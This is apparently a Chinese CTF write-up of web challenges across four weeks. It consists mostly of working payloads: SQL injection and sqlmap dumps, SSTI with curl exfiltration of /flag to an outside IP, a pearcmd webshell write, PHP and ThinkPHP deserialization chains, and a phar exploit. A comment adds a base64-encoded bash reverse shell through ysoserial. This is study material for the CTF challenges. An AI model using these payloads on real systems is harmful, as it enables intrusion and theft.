week1
web
HTTP
POST /?name=admin HTTP/1.1
Host: 006f9884-5697-46c3-a828-2dc3fe795645.node4.buuoj.cn:81
Content-Length: 13
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://006f9884-5697-46c3-a828-2dc3fe795645.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://006f9884-5697-46c3-a828-2dc3fe795645.node4.buuoj.cn:81/?name=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Cookie: user=admin
Connection: close
key=c
tfisgood
Head?Header!
GET / HTTP/1.1
Host: node4.buuoj.cn:28724
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: CTF
Referer: ctf.com
X-Forwarded-for: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Connection: close
NotPHP
?data=data://text/plain,Welcome to CTF&key1[]=1&key2[]=2&cmd=%0asystem('cat /flag');
num=2077a
我真的会谢
信息泄露:
robots.txt
`.index.php.swp`www.zip
flag: flag{Th1s_Is_s000_e4sy_d0_y00
u_th1nk_so?}
Word-For-You
sqlmap一把梭
python .\sqlmap.py -u http://b69c0484-9868-47cb-9686-639e953b0760.node4.buuoj.cn:81/comments.php --data="name=NewCTFer" --level 3 --risk 3 -D wfy -T wfy_information --dump-all
Week2
web
Word-For-You(2 Gen)
python .\sqlmap.py -u http://1d0e5388-8e25-41c4-9342-4a086aad41a4.node4.buuoj.cn:81/comments.php --data="name=NewCTFer" --random-agent -D wfy --dump-all
一样的sqlmap一把梭,没啥难度
IncludeOne
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
}
- 伪随机数爆破
- 正则绕过+编码绕过
payload:
?file=php://filter/read=string.rot13/NewStar/resource=./flag.php
guess=1202031004
UnserializeOne
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
非常简单的一条链子
<?php
class Start{
public $name;
protected $func;
public function __construct($a)
{
$this->func=$a;
}
}
class Sec{
private $obj;
private $var;
public function __construct($a,$b)
{
$this->obj=$a;
$this->var=$b;
}
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$St1 = new Start('pysnow');
$Ea1 = new Easy();
$ee1 = new eeee();
$Se2 = new Sec('pysnow','pysnow');
$St2 = new Start($Se2);
$ee1->obj=$St2;
$Se1 = new Sec($Ea1,$ee1);
$St1->name=$Se1;
$final = urlencode(serialize($St1));
echo $final;
ezAPI
<html>
<body>
<center>
<h1>Search Page</h1><br>
<hr><br>
<form action="" method="post">
请输入用户ID:
<input type="text" name="id">
<input type="submit" value="Search">
</form>
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str){
if(!is_numeric($str) || preg_replace("/[0-9]/","",$str) !== ""){
return False;
}else{
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if(isset($id)){
if(waf($id)){
isset($_POST['data']) ? $data=$_POST['data'] : $data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if($res->data->users_user_by_pk->name !== NULL){
echo "ID: ".$id."<br>Name: ".$res->data->users_user_by_pk->name;
}else{
echo "<b>Can't found it!</b><br>DEBUG: ";
var_dump($res->data);
}
}else{
die("<b>Hacker!</b>");
}
}else{
die("<b>No Data?</b>");
}
?>
</center>
</body>
</html>
一个graphql的api,而且能完全控制执行语句,回显结果也有,具体操作流程如下
data={"query":"{__schema {types {name}}}"}&id=1
data={"query":"\u0071\u0075\u0065\u0072\u0079\u007b\u005f\u005f\u0074\u0079\u0070\u0065\u0028\u006e\u0061\u006d\u0065\u003a\u0022\u0066\u0066\u0066\u0066\u006c\u006c\u006c\u006c\u0061\u0061\u0061\u0067\u0067\u0067\u0067\u005f\u0031\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0066\u006c\u0061\u0067\u0022\u0029\u007b\u0020\u0066\u0069\u0065\u006c\u0064\u0073\u0020\u007b\u0020\u0064\u0065\u0073\u0063\u0072\u0069\u0070\u0074\u0069\u006f\u006e\u0020\u006e\u0061\u006d\u0065\u0020\u0074\u0079\u0070\u0065\u0020\u007b\u0020\u006e\u0061\u006d\u0065\u0020\u006b\u0069\u006e\u0064\u0020\u006f\u0066\u0054\u0079\u0070\u0065\u0020\u007b\u0020\u006e\u0061\u006d\u0065\u0020\u006b\u0069\u006e\u0064\u0020\u0064\u0065\u0073\u0063\u0072\u0069\u0070\u0074\u0069\u006f\u006e\u007d\u007d\u007d\u007d\u007d"}&id=1
(query{__type(name:"ffffllllaaagggg_1n_h3r3_flag"){ fields { description name type { name kind ofType { name kind description}}}}})
data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"}&id=1
Week3
web
BabySSTI_One
存在ssti,直接拿我之前那个万能payload打就行了 https://pysnow.cn/archives/207/
{%for%0ai%0ain%0a""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u006d\u0072\u006f\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(1)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%%0aif%0a(i|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f"))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073"%0a%}{%%0aif%0a(i|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("__import__('os').popen('curl http://47.xxxxxxx.241:2333 -d `cat /f*`').read()")%}{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}
IncludeTwo
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}
只能包含.php
后缀,还要RCE,很明显使用pear.cmd
直接给出payload
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/pysnow.php
multiSQL
简单的堆叠注入
查询结果
数据库
english
information_schema
mysql
performance_schema
表
score
列
username
listen
read
write
数据
火华
11
201
212
可以发现分数加起来刚好425,刚好有个verify.php,尝试修改分数到达及格线
然后发现update被过滤了,尝试其他函数代替
payload
username=1';replace into score values("火华",999,999,999);#
查一下发现还是之前那条数据,应该是重复了,用delete删掉就行
username=1';delete from score where listen=11;%23
username=1';HANDLER score OPEN;HANDLER score READ FIRST;HANDLER score CLOSE;%23
然后访问就有了
Maybe You Have To think More
index路由还给了个输入框,很明显就是反序列化入口点了,直接网上搜现成的payload打
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'pysnow'=>new Request()
);
$this->append=array(
'pysnow'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
发现没有flag
最后在环境变量
Week4
web
BabySSTI_Two
非常简单的绕过直接给payload了
{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('这里填写eval函数的内容,然后用unicode编码一下就行')}}
{{url_for.__getitem__['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}
So Baby RCE
源码
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
就是简单的黑名单,根本没难度
?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26sort${IFS}ffff?lllaaaaggggg
又一个SQL
又是一个revenge题,这道题在say.php那里存在insert注入,初始编号是100,每上传一条编号加一,插入语句猜测为
insert into wfy_comments('text','user','name') values ('$_POST['comment']','$_POST['user']','$_POST['name']');
接着注入出数据
wfy_admin,wfy_comments,wfy_information
10.1.47-MariaDB-0ubuntu0.18.04.1
wfy_comments
id,text,user,name,display
这里不能直接查出数据,因为会爆搓=>You can't specify target table 'users' for update in FROM clause
所以要嵌套个子查询,最终payload
user=1&name=2&comment=pysnow',(select text from (select text from wfy_comments where id=100)aa),'pyq')%23
UnserializeThree
是phar反序列化,而且非常简单
源码
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
现在主要是考虑这个正则怎么绕过,这里我简单fuzz看一下,发现%0d
是可以代替%0a
绕过的
%0d的作用是回车,也就是将光标移动到行首,也就是注释符前面,这样就绕过去了
exp
<?php
class Evil{
public $cmd;
public function __construct()
{
$this->cmd="\rsystem(\$_POST[1]);";
}
}
$a = serialize(new Evil());
$zip = new ZipArchive();
$res = $zip->open('newstar.jpg',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();
Rome
源码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package remo.remo;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class SerController {
public SerController() {
}
@GetMapping({"/"})
@ResponseBody
public String helloCTF() {
return "Do you like Jvav?";
}
@PostMapping({"/"})
@ResponseBody
public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
if (EXP.equals("")) {
return "Do you know Rome Serializer?";
} else {
byte[] exp = Base64.getDecoder().decode(EXP);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
return "Do You like Jvav?";
}
}
}
一眼定真,java反序列化
抱歉师傅们,java真不会,还没开始学
4 条评论
一眼定真tql
那是因为你payload部分没有编码,所有引号包裹的地方都要编码
Rome题payload java -jar ysoserial-master.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTc4LjEyNi40OS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" | base64